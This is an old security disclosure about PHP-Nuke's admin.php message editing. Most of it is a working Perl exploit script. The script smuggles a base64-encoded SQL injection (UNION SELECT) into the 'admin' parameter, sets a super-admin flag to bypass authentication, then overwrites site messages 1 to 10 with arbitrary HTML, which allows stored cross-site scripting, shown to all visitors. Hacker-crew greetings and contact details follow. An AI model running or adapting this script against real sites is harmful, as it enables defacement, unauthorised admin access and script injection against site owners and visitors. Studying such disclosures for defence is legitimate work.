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[XSS]/SQL Injection PHP-Nuke Edit/Save Message(s) Bug by bima_

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Php-Nuke is a popular freeware content management system.

Based on information at :

http://www.mantralab.org/modules.php/modulo/news/lanotizia/%5BXSS%5D+PHP
-Nuke+7.4+Add+Message+Bug

http://www.securityfocus.com/archive/1/374542/2004-09-06/2004-09-12/0

An attacker permitted to post to global home-page messages, and/or then deleted them.

I found that we can edit and then saving the change of message(s) too.

I wrote a little perl script to prove it, i used POST method,

to avoid the current php-nuke protection.

This script will edit :

[+] message's title

[+] message's content

[+] message's expired to unlimited

[+] message's active to yes

[+] message's view to all visitors

and then save the change of message(s).

Here it is :

******cut here**************

#!/usr/bin/perl

#

use LWP;

$log = "pos_komen_phpnuke_savemsg.txt";

$Agent = "Mbahmubangga/1.0";

$proxy = "http://172.9.1.11:80/"; # proxy:port ...

$browser = LWP::UserAgent->new;

$browser -> agent($Agent);

$url = 'http://www.sitewithphpnuke.com/admin.php';

$browser->proxy(http => $proxy) if defined($proxy);

printlog ("\nProcessing: $url\n");

for ($a = 1; $a < 11 ; $a++) {

$mid=$a;

$loginpost = $url;

$loginrequest = HTTP::Request->new(POST => $loginpost);

$loginrequest->content_type('application/x-www-form-urlencoded');

$loginsend =

'title=<h1>JUST TESTING</h1>'.

'&content=you can put HTML format here, all up to you now, 1 liner of course, or multiple liner with dot'.

'&mlanguage='. #message language

'&expire=0'. #unlimited

'&active=1'. #yes

'&chng_date=0'.

'&view=1'. #all visitors

'&mdate='.

'&mid='.$mid. #the message id, commonly has value under 11

'&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox'. #our magic ammo ==> x'%20UNION%20SELECT%201/*:1

'&add_radminsuper=1'. #the super user / G O D

'&op=savemsg'; #operation

$loginrequest->content-length($loginsend);

$loginrequest->content($loginsend);

$loginresponse = $browser->request($loginrequest);

$logincek = $loginresponse->as_string;

#print ($logincek);

if ($logincek =~ /(500 Can\'t read entity body\: Unknown error)|(411 Length Required)/){

printlog ("$mid attempting edit and saving message sending OK ".$loginresponse->status_line ."\n") ;

}

else {

printlog ("Could be failure ".$loginresponse->status_line ."\n");

last;

}

} #end of for

sub printlog {

print @_[0];

open(lo,">>$log");

print lo @_[0];

close(lo);

return;

}

******cut here**************

And then you can see the log called : pos_komen_phpnuke_savemsg.txt

----------------------------------------------------------

*very very very special greetz to:

[+][+][+] my beloved anna [+][+][+]

*shout to dhanny firman syah : keep fighting, bro...

*special greetz to:

[+] www.neoteker.or.id

[+] www.echo.or.id

[+] www.bosen.net

[+] www.waraxe.us

[+] qq

[+] tiyox

[+] bosen

[+] ftp_geo

[+] tiong

[+] all #1stlink #neoteker #e-c-h-o #batamhacker #kartubeben #antihackerlink crew @ dal net

[+] all #1stlink #romance #hackers @ centrin

[+] sj, alphacentupret, fuzk3 kendi

[+] boeboe (dah kehabisan target yach...)

[+] y3d1ps, z3r0byt3, biatch-x, K-159, Cmaster4

*contact:

[+] iko94(at)yahoo(dot)com

[+] www.geocities.com/iko94

[+] www.neoteker.or.id

[EOF]

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